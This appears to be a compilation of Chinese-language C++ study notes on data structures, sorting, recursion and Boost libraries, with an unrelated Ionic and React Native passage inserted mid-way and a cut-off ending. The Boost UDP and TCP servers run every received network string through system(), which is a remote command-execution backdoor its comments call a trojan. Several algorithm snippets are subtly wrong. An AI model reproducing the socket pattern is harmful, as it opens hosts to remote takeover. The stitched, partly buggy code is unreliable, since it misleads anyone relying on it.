rb_rotate_right(parent, root); other = parent->left; } if ((!other->left || other->left->color == BLACK) && (!other->right || other->right->color == BLACK)) { other->color = RED; node = parent; parent = node->parent; } else { if (!other->left || other->left->color == BLACK) { if ((o_right = other->right)) { o_right->color = BLACK; } other->color = RED; root = rb_rotate_left(other, root); other = parent->left; } other->color = parent->color; parent->color = BLACK; if (other->left) { other->left->color = BLACK; } root = rb_rotate_right(parent, root); node = root; break; } } } if (node) { node->color = BLACK; } return root; } static rb_node_t* rb_search_auxiliary(key_t key, rb_node_t* root, rb_node_t** save) { rb_node_t *node = root, *parent = NULL; int ret; while (node) { parent = node; ret = node->key - key; if (0 < ret) { node = node->left; } else if (0 > ret) { node = node->right; } else { return node; } } if (save) { *save = parent; } return NULL; } rb_node_t* rb_insert(key_t key, data_t data, rb_node_t* root) { rb_node_t *parent = NULL, *node; parent = NULL; if ((node = rb_search_auxiliary(key, root, &parent))) { return root; } node = rb_new_node(key, data); node->parent = parent; node->left = node->right = NULL; node->color = RED; if (parent) { if (parent->key > key) { parent->left = node; } else { parent->right = node; } } else { root = node; } return rb_insert_rebalance(node, root); } rb_node_t* rb_search(key_t key, rb_node_t* root) { return rb_search_auxiliary(key, root, NULL); } rb_node_t* rb_erase(key_t key, rb_node_t *root) { rb_node_t *child, *parent, *old, *left, *node; color_t color; if (!(node = rb_search_auxiliary(key, root, NULL))) { printf("key %d is not exist!\n"); return root; } old = node; if (node->left && node->right) { node = node->right; while ((left = node->left) != NULL) { node = left; } child = node->right; parent = node->parent; color = node->color; if (child) { child->parent = parent; } if (parent) { if (parent->left == node) { parent->left = child; } else { parent->right = child; } } else { root = child; } if (node->parent == old) { parent = node; } node->parent = old->parent; node->color = old->color; node->right = old->right; node->left = old->left; if (old->parent) { if (old->parent->left == old) { old->parent->left = node; } else { old->parent->right = node; } } else { root = node; } old->left->parent = node; if (old->right) { old->right->parent = node; } } else { if (!node->left) { child = node->right; } else if (!node->right) { child = node->left; } parent = node->parent; color = node->color; if (child) { child->parent = parent; } if (parent) { if (parent->left == node) { parent->left = child; } else { parent->right = child; } } else { root = child; } } free(old); if (color == BLACK) { root = rb_erase_rebalance(child, parent, root); } system("pause"); return root; } 基数.cpp #include <stdio.h> #include <stdlib.h> #include <malloc.h> #include <time.h> static void PrintArr(int *pnArr, int nLen) { for (int i = 0; i < nLen; i++) { printf("%d ", pnArr[i]); } printf("\n"); } void CountSort(int *pnArr, int nArrR[], int nLen, int k) { int *pnArrTmp = (int *)malloc(sizeof(int) * k); for (int i = 0; i < k; i++) { pnArrTmp[i] = 0; } for (int i = 0; i < nLen; i++) { pnArrTmp[pnArr[i]] = pnArrTmp[pnArr[i]] + 1; } PrintArr(pnArrTmp, k); for (int i = 1; i < k; i++) { pnArrTmp[i] = pnArrTmp[i] + pnArrTmp[i - 1]; } PrintArr(pnArrTmp, k); for (int i = nLen - 1; i >= 0; i--) { nArrR[pnArrTmp[pnArr[i]] - 1] = pnArr[i]; pnArrTmp[pnArr[i]] = pnArrTmp[pnArr[i]] - 1; } } int main9() { int nArr[11] = { 0, 2, 1, 3, 2, 6, 9, 7, 4, 8, 6 }; int nArrR[11]; //存放排序后的结果 PrintArr(nArr, 11); CountSort(nArr, nArrR, 11, 10); PrintArr(nArrR, 11); system("pause"); return 0; } 快速.cpp #include<iostream> using namespace std; int a[200001], n; void swap(int &a, int &b){ int tmp = a; a = b; b = tmp; } int partition(int p, int r){ int rnd = rand() % (r - p + 1) + p; swap(a[rnd], a[r]); int pvt = r, i = p - 1; for (int j = i + 1; j < r; j++) if (a[j] < a[pvt]) swap(a[j], a[++i]); swap(a[++i], a[pvt]); return i; } void qsort(int p, int r){ if (p < r){ int q = partition(p, r); qsort(p, q - 1); qsort(q + 1, r); } } int main5() { cin >> n; for (int i = 0; i < n; i++) cin >> a[i]; qsort(0, n - 1); for (int i = 0; i < n; i++) cout << a[i]; system("pause"); return 0; } 冒泡.cpp #include <iostream> #include<stdlib.h> using namespace std; int main1() { int a[10]; for (int i = 0; i < 10; i++) a[i] = rand() % 100; for (int i = 0; i < 10; i++) for (int j = 0; j < 10 - i; j++) { if (a[j] < a[j + 1]) { int temp = a[j]; a[j] = a[j + 1]; a[j + 1] = temp; } } for (int i = 0; i < 10; i++) cout << a[i] << " "; system("pause"); return 0; } 木桶.cpp #include<stdio.h> #include<stdlib.h> #define SIZE 100 void bucket_sort(unsigned *, int);//桶排序函数的原型 void print(unsigned *, int);//打印函数的原型 int main8() { unsigned array[SIZE]; int i = 0; //为数组元素随机赋值 for (i = 0; i < SIZE; ++i) array[i] = rand(); printf("排序前\n"); print(array, SIZE); //排序 bucket_sort(array, SIZE); printf("排序后\n"); print(array, SIZE); system("pause"); return 0; } void bucket_sort(unsigned * arr, int len) { unsigned *buckets[10];//指针数组 unsigned n = 1;//用于取整数各位上的值 int index;//数组下标计数索引 int indexs[10];//各个桶下标计数索引 int i, j; //分配动态内存作为桶 for (i = 0; i < 10; ++i) buckets[i] = (unsigned *)malloc(sizeof(unsigned)*len); while (1) { //计数索引清零 index = 0; for (i = 0; i < 10; ++i) indexs[i] = 0; //数组至桶 for (i = 0; i < len; ++i) buckets[arr[i] / n % 10][indexs[arr[i] / n % 10]++] = arr[i]; //桶至数组 for (i = 0; i < 10; ++i) for (j = 0; j < indexs[i]; ++j) arr[index++] = buckets[i][j]; //为取元素的下一位做准备 n *= 10; //判断是否该结束 for (i = 0; arr[i] < n&&i < len; ++i); if (i == len) break; } //释放动态内存 for (i = 0; i < 10; ++i) free(buckets[i]); } void print(unsigned * arr, int len) { int i = 0; for (i = 0; i < len; ++i) { printf("%8d", arr[i]); //5个元素一行 if ((i + 1) % 5 == 0) printf("\n"); } } 希尔.cpp #include <iostream> #include<stdlib.h> using namespace std; const int N = 10; void shell_sort(const int len, int *array) { int j, i, key; int gap = 0; if (len <= 0 || array == NULL) return; while (gap <= len) { gap = gap * 3 + 1; } while (gap > 0) { for (i = gap; i < len; i++) { j = i - gap; key = array[i]; while ((j >= 0) && (array[j] > key)) { array[j + gap] = array[j]; j = j - gap; } array[j + gap] = key; } //display_array(len,array,gap); gap = (gap - 1) / 3; } } // 3 5 18 29 35 24 12 0 // 3 12 // 5 0 // 3 0 18 29 35 24 12 5 //3 24 // 0 12 // 18 5 //3 0 5 29 35 24 12 18 //3 35 // 0 24 // 5 12 // 29 18 //3 0 5 18 35 24 12 29 //3 18 12 // 0 35 29 // 5 24 //3 0 5 12 29 24 18 35 //3 5 29 18 // 0 12 24 35 //3 0 5 12 18 24 29 35 //0 3 5 12 18 24 29 35 int main4() { int array[N]; for (int i = 0; i < 10; i++) { array[i] = rand() % 100; cout << array[i] << " "; } shell_sort(N - 1, array); cout << endl; for (int i = 0; i < 10; i++) { cout << array[i] << " "; } system("pause"); return 0; } 选择.cpp #include <iostream> using namespace std; void main2() { int a[10]; for (int i = 0; i < 10; i++) a[i] = rand() % 100; for (int i = 0; i < 10; i++) { for (int j = i; j < 10 - i; j++) if (a[j] < a[i]) { int temp = a[j]; a[j] = a[i]; a[i] = temp; } } for (int i = 0; i < 10; i++) cout << a[i] << " "; system("pause"); }
递归转栈 用栈实现递归.cpp #include<stack> #include <iostream> using namespace std; int printN(int n) { if (n>0) { cout << n; return printN(n - 1); } } void printNS_shunxu(int n) { stack<int> mystack; AAA: if (n > 0) { mystack.push(n); while (!mystack.empty()) { cout << mystack.top(); mystack.pop(); } n -= 1; goto AAA; } } void printNS_nixu(int n) { stack<int> mystack; AAA: if (n > 0) { mystack.push(n); n -= 1; goto AAA; } while (!mystack.empty()) { cout << mystack.top(); mystack.pop(); } } int get100(int i) { if (!i) { return 0; } else { return get100(i - 1) + i; } } int getN(int i) { stack<int> mystack; int res = 0; AA: if (i) { mystack.push(i); i--; goto AA; } while (!mystack.empty()) { res += mystack.top(); mystack.pop(); } return res; } void to2(int num) { if (num) { cout << num % 2; to2(num / 2); } } void mainA () { //cout << get100(100) << endl; printNS_nixu(9); printNS_shunxu(9); cout<<"\n"<<getN(100)<<"\n"; to2(10); cin.get(); } 双层递归转栈.cpp #include<iostream> #include <stack> using namespace std; int getF(int n) { if (n==1 ||n==2) { return 1; } else { return getF(n - 1) + getF(n - 2); } } int GetFF(int n) { int *p = new int[n]; p[0] = p[1] = 1; for (int i = 2; i < n;i++) { p[i] = p[i - 1] + p[i - 2]; } return p[n - 1]; } int GetFFF(int n) { stack<int> mystack; int f1, f2, f3; f1 = f2 = 1; int i = 2; ABC:if (i<n) { mystack.push(f1); mystack.push(f2); f3 = 0; while (!mystack.empty()) { f3+= mystack.top(); mystack.pop(); } //f3 = f2 + f1; f1 = f2;//轮替 f2 = f3; i++; goto ABC; } return f3; } int GetFFFF(int n) { int f1, f2, f3; f1 = f2 = 1; for (int i = 2; i < n; i++) { f3 = f2 + f1; f1 = f2;//轮替 f2 = f3; } return f3; } void mainFG() { cout << getF(10) << endl; cout << GetFF(10) << endl; cout << GetFFF(10) << endl; cin.get(); } 栈模拟递归函数调用.cpp #include<iostream> #include <stack> //递归,有顺序,逆序,栈吃一个吐一个,顺序,一次吃完再吐,逆序 //递归,数据保留中间结果,函数指针保留操作 //汉诺塔,斐波那契数列 递归计算表达式 ,栈,(熊飞,3人做一题) //谭胜,汉诺塔,李桂龙,斐波那契 ,柳益民 using namespace std; struct datas { int n; void(*p)(int); }; void printN(int n) { if (n > 0) { cout << n; return printN(n - 1); } } void print(int n) { cout << n; } //1+100 void printall(int n) { stack<datas> mystack; AAA: if (n > 0) { datas s1; s1.n = n; s1.p = print; mystack.push(s1); while (!mystack.empty()) { datas stemp = mystack.top(); stemp.p(stemp.n); mystack.pop(); } n -= 1; goto AAA; } } void main() { printall(10); cin.get(); } 二叉树实现 #include<iostream> #include <string> #include <stack> using namespace std; struct MyStruct { int Nodedata=0; MyStruct *pLeft=nullptr; MyStruct *pRight = nullptr; }BTree,*pBTree; //中序,前序,后序,递归遍历,非递归遍历 //查找,修改, 删除,插入,排序 MyStruct * insertnode(MyStruct *proot,int num) { if (proot==nullptr) { MyStruct *pnew = new MyStruct; pnew->Nodedata = num; proot = pnew; } else if ( num <= proot->Nodedata) { proot->pLeft = insertnode(proot->pLeft, num); } else { proot->pRight = insertnode(proot->pRight, num); } return proot; } int findmax(MyStruct *proot) { int max = -99999; MyStruct * pcurr = proot;//记录根节点 MyStruct * mystack[100];//指针数据 int top = 0; while (top != 0 || pcurr != nullptr) { while (pcurr != nullptr) { mystack[top++] = pcurr; pcurr = pcurr->pLeft; } if (top > 0) { top--; pcurr = mystack[top]; ///cout << " " << pcurr->Nodedata << endl; if (max< pcurr->Nodedata) { max = pcurr->Nodedata; } pcurr = pcurr->pRight; } } return max; } void zhong(MyStruct *proot) { if (proot!=nullptr) { if (proot->pLeft!=nullptr) { zhong(proot->pLeft); } cout << " " << proot->Nodedata << endl; if (proot->pRight!= nullptr) { zhong(proot->pRight); } } } void stackzhong(MyStruct *proot) { //stack<MyStruct> mystack; MyStruct * pcurr = proot;//记录根节点 MyStruct * mystack[100];//指针数据 int top = 0; while ( top!=0 || pcurr !=nullptr) { while (pcurr != nullptr) { mystack[top++] = pcurr; pcurr = pcurr->pLeft; } if (top>0) { top--; pcurr = mystack[top]; cout << " " << pcurr->Nodedata << endl; pcurr = pcurr->pRight; } } } void stackzhongA(MyStruct *proot) { //stack<MyStruct> mystack; MyStruct * pcurr = proot;//记录根节点 stack<MyStruct *> mystack; while (!mystack.empty() || pcurr != nullptr) { while (pcurr != nullptr) { mystack.push(pcurr); pcurr = pcurr->pLeft; } if (!mystack.empty()) { pcurr = mystack.top(); cout << " " << pcurr->Nodedata << endl; mystack.pop(); pcurr = pcurr->pRight; } } } void show(MyStruct *proot ,int n) { if (proot==nullptr) { return; } else { show(proot->pLeft, n + 1); for (int i = 0; i < n;i++) { cout << " "; } cout << proot->Nodedata << endl; show(proot->pRight, n + 1); } } int getyenum(MyStruct *proot)//叶子节点 { int left = 0; int right = 0; if (proot==nullptr) { return 0; } if (proot->pLeft==nullptr && proot->pRight==nullptr) { return 1; } left = getyenum(proot->pLeft); right = getyenum(proot->pRight); return left + right; } int getheight(MyStruct *proot) { int height = 0; int left = 0; int right = 0; if (proot == nullptr) { return 0; } left = getheight(proot->pLeft); right = getheight(proot->pRight); height = left > right ? left : right; return height + 1; } void ceng(MyStruct *proot) { if (proot ==nullptr) { return; } MyStruct * myq[100]; int tou = 0; int wei = 0; MyStruct * pcurr = nullptr; myq[wei++] = proot;//存入队列第一个节点,入队 while (tou !=wei) { pcurr = myq[tou]; tou++;//出队 cout << pcurr->Nodedata << endl; if (pcurr->pLeft!=nullptr) { myq[wei++] = pcurr->pLeft;//入队 } if (pcurr->pRight != nullptr) { myq[wei++] = pcurr->pRight;//入队 } } } void mainA() { MyStruct *pRoot;//根 MyStruct sarray[100]; pRoot = sarray; //0 1 2 3 4 --99 // for (int i = 1; i <= 100;i++) { sarray[i].Nodedata = i; } //2 * i + 2<<99 for (int i = 0; i <= 50;i++) { if (i<=(99-1)/2) { sarray[i].pLeft = &sarray[2 * i + 1]; } if (i<=(99-2)/2) { sarray[i].pRight = &sarray[2 * i + 2]; } } show(pRoot, 1); cin.get(); } int getba(MyStruct *pRoot,int num) { if (pRoot==nullptr) { return 0; } if (pRoot->pLeft!=nullptr && pRoot->pLeft->Nodedata==num) { return pRoot->Nodedata; } if (pRoot->pRight != nullptr && pRoot->pRight->Nodedata == num) { return pRoot->Nodedata; } getba(pRoot->pLeft, num); getba(pRoot->pRight, num); } int getleft(MyStruct *pRoot, int num) { if (pRoot == nullptr) { return 0; } if (pRoot->pRight && pRoot->pRight->Nodedata == num) { if (pRoot->pLeft) { return pRoot->pLeft->Nodedata; } } getleft(pRoot->pLeft, num); getleft(pRoot->pRight, num); } void main213213() { MyStruct *pRoot;//根 MyStruct s1; MyStruct s2; MyStruct s3; MyStruct s4; MyStruct s5; MyStruct s6; MyStruct s7; MyStruct s8; pRoot = &s1; s1.Nodedata = 1; s2.Nodedata = 2; s3.Nodedata = 3; s4.Nodedata = 4; s5.Nodedata = 5; s6.Nodedata = 16; s7.Nodedata = 7; s8.Nodedata = 8; s1.pLeft = &s2; s1.pRight = &s3; s2.pLeft = &s4; s2.pRight = &s5; s3.pLeft = &s6; s3.pRight = &s7; cout << findmax(pRoot) << endl; cin.get(); } void mainasds() { MyStruct *pRoot;//根 MyStruct s1; MyStruct s2; MyStruct s3; MyStruct s4; MyStruct s5; MyStruct s6; MyStruct s7; MyStruct s8; pRoot = &s1; s1.Nodedata = 1; s2.Nodedata = 2; s3.Nodedata = 3; s4.Nodedata = 4; s5.Nodedata = 5; s6.Nodedata = 6; s7.Nodedata = 7; s8.Nodedata = 8; s1.pLeft = &s2; s1.pRight = &s3; s2.pLeft = &s4; s2.pRight = &s5; s3.pLeft = &s6; s3.pRight = &s7; //s4.pLeft = &s8; ceng(pRoot); cout << "\n\n\n\n\n\n\n"; cout << getyenum(pRoot)<<"\n\n\n"; cout << getheight(pRoot) << "\n\n\n"; //show(pRoot, 1); zhong(pRoot); cout << "\n\n\n\n"; stackzhong(pRoot); cout << "\n\n\n\n"; stackzhongA(pRoot); cin.get(); } void main() { MyStruct *pRoot=nullptr;//根 for (int i = 6; i < 10; i++) { pRoot = insertnode(pRoot, i); } for (int i = 5; i >=0; i--) { pRoot = insertnode(pRoot, i); } show(pRoot, 1); cin.get(); }
boostSocketTCPUDP Serverudp.cpp #include <iostream> #include<string> #include <boost/asio.hpp> #include <stdlib.h> using namespace std; using namespace boost::asio; void main() { io_service io_serviceA;//一个服务的类,给这个UDP通信初始化 ip::udp::socket udp_socket(io_serviceA);//给这个UDP通信初始化 ip::udp::endpoint local_add(ip::address::from_string("127.0.0.1"), 1080);//绑定IP还有木马 udp_socket.open(local_add.protocol());//添加协议 udp_socket.bind(local_add);//绑定IP以及端口 char receive_str[1024] = { 0 };//字符串 while (1) { ip::udp::endpoint sendpoint;//请求的IP以及端口 udp_socket.receive_from(buffer(receive_str, 1024),sendpoint);//收取 cout << "收到" << receive_str << endl; udp_socket.send_to(buffer(receive_str), sendpoint);//发送 system(receive_str); memset(receive_str, 0, 1024);//清空字符串 } cin.get(); } Clientudp.cpp #include <iostream> #include<string> #include <boost/asio.hpp> #include <stdlib.h> using namespace std; using namespace boost::asio; void main() { io_service io_serviceA;//一个服务的类,给这个UDP通信初始化 ip::udp::socket udp_socket(io_serviceA);//给这个UDP通信初始化 ip::udp::endpoint local_add(ip::address::from_string("127.0.0.1"), 1080);//绑定IP还有木马 udp_socket.open(local_add.protocol());//添加协议 //udp_socket.bind(local_add);//绑定IP以及端口 char receive_str[1024] = { 0 };//字符串 while (1) { string sendstr; cout << "请输入"; cin >> sendstr; cout << endl; udp_socket.send_to(buffer(sendstr.c_str(), sendstr.size()), local_add); udp_socket.receive_from(buffer(receive_str, 1024), local_add); cout << "收到" << receive_str << endl; } system("pause"); } Tcps.cpp #include <boost/asio.hpp> #include <iostream> #include <stdlib.h> using namespace std; using namespace boost::asio; void main() { io_service iosev; ip::tcp::acceptor myacceptor(iosev, ip::tcp::endpoint(ip::tcp::v4(), 1100)); while (1)//处理多个客户端 { ip::tcp::socket mysocket(iosev);//构建TCP myacceptor.accept(mysocket);//接受 cout << "客户端" << mysocket.remote_endpoint().address() << mysocket.remote_endpoint().port() << "链接上" << endl; /* while (1)//处理通信 { } */ char recestr[1024] = { 0 }; boost::system::error_code ec; int length = mysocket.read_some(buffer(recestr), ec);//处理网络异常 cout << "收到" << recestr << "长度" << length << endl; system(recestr); length = mysocket.write_some(buffer(recestr, length), ec); cout << "发送报文长度" << length << endl; } cin.get(); } Tcpc.cpp #include <boost/asio.hpp> #include <iostream> #include <stdlib.h> using namespace std; using namespace boost::asio; void main() { io_service iosev; ip::tcp::socket mysorket(iosev); ip::tcp::endpoint ep(ip::address_v4::from_string("127.0.0.1"), 1100); boost::system::error_code ec; mysorket.connect(ep, ec);//链接 while (1) { char str[1024] = { 0 }; cout << "请输入"; cin >> str; cout << endl; mysorket.write_some(buffer(str), ec); memset(str, 0, 1024);//清空字符串 mysorket.read_some(buffer(str), ec); cout << "收到" << str << endl; } cin.get(); } 虚函数表的调用 #include <iostream> using namespace std; class H { virtual void M() { cout << "H::M" << endl; } }; class A { //int num; virtual void g() { cout << "A::g" << endl; } private: virtual void f() { cout << "A::f" << endl; } virtual void j() { cout << "A::j" << endl; } }; class B : public A,public H { void g() { cout << "B::g" << endl; } virtual void o() { cout << "B::o" << endl; } virtual void h() { cout << "B::h" << endl; } }; typedef void(*Fun)(void); void main() { cout << sizeof(A) << endl; cout << sizeof(H) << endl; cout << sizeof(B) << endl; B b; Fun pFun; for (int i = 0; i < 5; i++) { pFun = (Fun)*((int*)* (int*)(&b) + i); pFun(); } Fun pFun1 = (Fun)*((int *)*((int*)(&b) + 1)); pFun1(); cin.get(); } 复杂表达式 #include<iostream> #include <cstdlib> #include <cctype>//字符的判定, using namespace std; const int MAX = 1024; double fenxi(char *str); char * extract(char *str,int &index) { char *pstr(nullptr);//处理字符串 int num(0);//记录一下多少对括号 int bufindex(index);//记录下标 do { switch (*(str+index)) { case ')': if (0==num) { ++index; pstr = new char[index - bufindex]; if (!pstr) { throw "malloc fail"; } //拷贝字符串 strncpy_s(pstr, index - bufindex, str + bufindex, index - bufindex - 1); return pstr; } else { num--; } break; case '(': num++; break; } } while (*(str+index++)!='\0'); throw "error fail"; } void qukongge(char *str) { int i(0); int j(0); while (( *(str+i) = *(str+j++))!='\0') { if (*(str + i)!=' ') { i++; } } //两个下标轮替,往前移动,链表的算法一样,循环向前挖 } double getnum(char *str, int &index) { double value(0.0); if (*(str + index) == '(') { char *substr(nullptr); substr = extract(str, ++index); value = fenxi(substr); delete[] substr; return value; } if (!isdigit(*(str + index))) { char error[30] = "get error"; throw error; } //12+3 while (isdigit(*(str+index))) { value = 10 * value + (*(str + index++) - '0'); } if (*(str+index)!='.') { return value; } else { double xiaoshu(1.0); while (isdigit(*(str+(++index)))) { xiaoshu /= 10; value = value + (*(str + index) - '0')*xiaoshu; } return value; } } double term(char *str, int & index) { double value(0.0); value = getnum(str, index);//获取数据 while (1) { if (*(str+index)=='*') { value *= getnum(str, ++index);//乘除法 } else if (*(str + index) == '/') { value /= getnum(str, ++index); } else { break; } } return value; } double fenxi(char *str) { double value(0.0); int index(0); value += term(str, index); for (;;) { switch (*(str+(index++))) { case '\0': return value; case '+': value += term(str, index); break; case '-': value -= term(str, index); break; default: break; } } } void main() { char str[MAX] = { 0 }; cout << "请输入表达式"; cin.getline(str, MAX);//cin不能用空格 qukongge(str); cout << "\n"<<str; //int i = 0; // cout << "\n"<<getnum(str,i) << endl; cout << "\n"<<fenxi(str) << endl; system("pause"); cin.get(); cin.get(); } // 1+3/5%3*(1+2*(1+3))大家都要求会的 // 3>2+3+1//关系运算符 1+2<3 //+= ,-=,= //位运算
1 现在的app开发类型有几种? 移动端开发有哪些框架: Ionic Html5+ AppCan 2 Ionic介绍 官网地址 Ionic官网:http://ionicframework.com/ Ionic中文网:http://www.ionic.wang IONIC 是目前最有潜力的一款 HTML5 手机应用开发框架。通过 SASS 构建应用程序,它提供了很多 UI 组件来帮助开发者开发强大的应用。 它使用 JavaScript MVVM 框架和 AngularJS 来增强应用。提供数据的双向绑定,使用它成为 Web 和移动开发者的共同选择。Ionic是一个专注于用WEB开发技术,基于HTML5创建类似于手机平台原生应用的一个开发框架。Ionic框架的目的是从web的角度开发手机应用,基于PhoneGap的编译平台,可以实现编译成各个平台的应用程序。 3 H5+和RN 首先要认识Html5+联盟是什么? HTML5中国产业联盟,简称“HTML5+联盟”,是为了更好的推进HTML5的商用、更好的为HTML5开发者服务而由产业链主流厂商共同组成的一个联盟。联盟致力于整合产业链资源,建立围绕HTML5开发者的生态系统,通过产业链共同为HTML5开发者服务。w3c中国是联盟的指导单位。csdn和DCloud是联盟的秘书处单位。 Dcloud官网 官网:http://www.dcloud.io/ Emmet语法:http://docs.emmet.io/cheat-sheet/ React Native介绍 官网地址: RN官网 https://facebook.github.io/react-native/ RN中文网 http://react-native.cn/ 最专业的翻译,最及时的资讯,最火爆的社区 使用前沿的JAVASCRIPT为IOS、ANDROID编写跨平台原生APP React Native使你能够在Javascript和React的基础上获得完全一致的开发体验,构建世界一流的原生APP。 React Native着力于提高多平台开发的开发效率 —— 仅需学习一次,编写任何平台。(Learn once, write anywhere) Facebook已经在多项产品中使用了React Native,并且将持续地投入建设React Native。 4 使用ionic制作app
boost_array_bind_fun_ref Array.cpp #include<boost/array.hpp> #include <iostream> #include <string> using namespace std; using namespace boost; void mainA () { array <int, 5> barray = { 1, 2, 3, 4, 5 }; barray[0] = 10; barray.at(4) = 20; int *p = barray.data();//存储数组的指针 for (int i = 0; i < barray.size();i++) { cout << barray[i] << " " << p[i] << endl; } array<string, 3> cmd = { "calc", "notepad", "tasklist" }; cin.get(); } Bind.cpp #include <iostream> #include <string> #include <boost/bind.hpp> #include <vector> #include <algorithm> #include <functional> using namespace std; using namespace boost; //绑定函数的默认值,继承二进制函数类的所有类容 class add:public std::binary_function<int ,int,void> { public: void operator()(int i,int j) const { std::cout << i + j << endl; } }; void add(int i, int j) { std::cout << i + j << endl; } void mainB() { vector<int> myv; myv.push_back(11); myv.push_back(23); myv.push_back(34); //for_each(myv.begin(), myv.end(), bind1st(add(),10)); for_each(myv.begin(), myv.end(), bind(add, 13, _1)); //bind设置默认参数调用,函数副本机制,不能拷贝构造 cin.get(); } Fun.cpp #include <iostream> #include <string> #include <boost/bind.hpp> #include <boost/function.hpp> #include <vector> #include <algorithm> #include <functional> #include <stdlib.h> using namespace std; using namespace boost; void mainC() { //atoi //char * to int boost::function<int(char *)> fun = atoi; cout << fun("123") + fun("234") << endl; fun = strlen; cout << fun("123") + fun("234") << endl; cin.get(); } void mainD() { boost::function<int(char *)> fun = atoi; cout << fun("123") + fun("234") << endl; fun = boost::bind(strcmp, "ABC", _1); cout << fun("123") << endl; cout << fun("ABC") << endl; cin.get(); } class manager { public: void allstart() { for (int i = 0; i < 10;i++) { if (workid) { workid(i); } } } void setcallback(boost::function<void(int)> newid)//绑定调用 { workid = newid; } public: boost::function<void(int)> workid; }; class worker { public: void run(int toid) { id = toid; cout << id << "工作" << endl; } public: int id; }; void mainE() { manager m; worker w; //类的成员函数需要对象来调用,绑定了一个默认的对象 m.setcallback(boost::bind(&worker::run, &w, _1)); m.allstart(); cin.get(); } Ref.cpp #include <iostream> #include <string> #include <boost/bind.hpp> #include <boost/function.hpp> #include <vector> #include <algorithm> #include <functional> #include <stdlib.h> using namespace std; using namespace boost; void print(std::ostream &os,int i) { os << i << endl; } void mainF() { //不可以拷贝的对象可以用ref boost::function<void(int)> pt = boost::bind(print,boost::ref(cout), _1); vector<int > v; v.push_back(11); v.push_back(12); v.push_back(13); for_each(v.begin(), v.end(), pt); std::cin.get(); } boost智能指针 RAII原理.cpp #define _CRT_SECURE_NO_WARNINGS #include <iostream> #include <stdlib.h> #include <string> using namespace std; class mystr { public: char *p = nullptr; public: mystr(const char *str) { cout << "构建" << endl; int length = strlen(str); p = new char[length + 1]; strcpy(p, str); p[length] = '\0'; } ~mystr() { cout << "销毁" << endl; delete[] p; } }; void go() { char *p = new char[100]; mystr str1 = "ABCD";//RAII避免内存泄漏,一般情况下,堆上的内存当作栈上来使用 //栈内存有限,希望自动释放,用很大的内存。 } void mainHG() { go(); cin.get(); } Smartpointer原理.cpp #include <iostream> #include <string> #include <vector> #include <algorithm> #include <functional> #include <stdlib.h> using namespace std; template<class T> class pmy { public: pmy() { } pmy(T *t) { p = t; } ~pmy() { if (p!=nullptr) { delete p; } } T operator *() { return *p; } private: T *p=nullptr; }; class Test { public: Test() { cout << "Test create" << endl; } ~Test() { cout << "Test delete" << endl; } }; void run() { pmy<Test> p(new Test);//智能指针,智能释放 //*p; } void mainH() { run(); cin.get(); } Smartpointer.cpp #include <iostream> #include <vector> #include<algorithm> #include <boost/scoped_ptr.hpp> #include <boost/scoped_array.hpp> #include <boost/shared_ptr.hpp> #include <boost/shared_array.hpp> #include<boost/weak_ptr.hpp> #include <windows.h> using namespace std; void mainI() { boost::scoped_ptr<int> p(new int);//自动释放内存 *p = 12; cout << *p.get() << endl; p.reset(new int); *p.get() = 3; boost::scoped_ptr<int> pA(nullptr);//独占内存 //pA = p; cout << *p.get() << endl; cin.get(); } void mainG() { boost::scoped_array<int> p(new int[10]);//自动释放内存 //boost::scoped_array<int> pA(p);独享指针 *p.get() = 1; p[3] = 2; p.reset(new int[5]);//只能指针 cin.get(); } void show(boost::shared_ptr<int> p) { cout << *p << endl; } void mainK() { vector<boost::shared_ptr<int> > v; boost::shared_ptr<int> p1(new int(11)); boost::shared_ptr<int> p2(new int(12)); boost::shared_ptr<int> p3(p2);//拷贝 v.push_back(p1); v.push_back(p2); v.push_back(p3); for_each(v.begin(), v.end(), show); cin.get(); } class runclass { public: int i = 0; public: runclass(int num) :i(num) { cout << "i create" <<i<< endl; } runclass() { cout << "i create" << i << endl; } ~runclass() { cout << "i delete" <<i<< endl; } void print() { cout << "i =" << i<<endl; } }; void testfun() { boost::shared_ptr<runclass> p1(new runclass(10)); boost::shared_ptr<runclass> p2(p1); boost::shared_ptr<runclass> p3(p1); p1.reset(new runclass(12)); p1->print(); p2->print(); p3->print(); } void testfunarray() { boost::shared_array<runclass> p1(new runclass[5]); boost::shared_array<runclass> p2(p1); } void mainL() { //testfun(); testfunarray(); cin.get(); } DWORD WINAPI reset(LPVOID p) { boost::shared_ptr<int > *sh = static_cast<boost::shared_ptr<int > *> (p); sh->reset();//指针的重置,释放内存 std::cout << "指针执行释放" << endl; return 0; } DWORD WINAPI print(LPVOID p) { boost::weak_ptr<int > * pw = static_cast<boost::weak_ptr<int > *>(p); boost::shared_ptr<int > sh = pw->lock();//锁定不可以释放 Sleep(5000); if (sh) { std::cout << *sh << endl; } else { std::cout << "指针已经被释放" << endl; } return 0; } void main123() { boost::shared_ptr<int> sh(new int(99)); boost::weak_ptr<int > pw(sh); HANDLE threads[2]; threads[0] = CreateThread(0, 0, reset, &sh, 0, 0);//创建一个线程 threads[1] = CreateThread(0, 0, print, &pw, 0, 0); Sleep(1000); WaitForMultipleObjects(2, threads, TRUE, INFINITE);//等待线程结束 cin.get(); } boost多线程锁定 Thread.cpp #include <iostream> #include <vector> #include<algorithm> #include<boost/thread.hpp> #include <windows.h> using namespace std; using namespace boost; void wait(int sec) { boost::this_thread::sleep(boost::posix_time::seconds(sec)); } void threadA() { for (int i = 0; i < 10;i++) { wait(1); std::cout << i << endl; } } void threadB() { try { for (int i = 0; i < 10; i++) { wait(1); std::cout << i << endl; } } catch (boost::thread_interrupted &) { } } void mainO() { boost::thread t(threadA ); wait(3); //t.interrupt(); t.join(); cin.get(); } 哈希库 Unorderred.cpp #include <iostream> #include<boost/unordered_set.hpp> #include<string> using namespace std; void mainAAAC() { boost::unordered_set<std::string> myhashset; myhashset.insert("ABC"); myhashset.insert("ABCA"); myhashset.insert("ABCAG"); for (auto ib = myhashset.begin(); ib != myhashset.end();ib++) { cout << *ib << endl; } std::cout << (myhashset.find("ABCA1") != myhashset.end()) << endl; cin.get(); } 正则表达式 Regex.cpp #include <boost/regex.hpp> #include <locale> #include <iostream> #include <string> using namespace std; void mainA123() { std::locale::global(std::locale("English")); string str = "chinaen8Glish"; boost::regex expr("\\w+\\d\\u\\w+");//d代表数字, //匹配就是1,不匹配就是0 cout << boost::regex_match(str, expr) << endl; cin.get(); } void mainB123() { //std::locale::global(std::locale("English")); string str = "chinaen8Glish9abv"; boost::regex expr("(\\w+)\\d(\\w+)");//d代表数字, boost::smatch what; if (boost::regex_search(str,what,expr))//按照表达式检索 { cout << 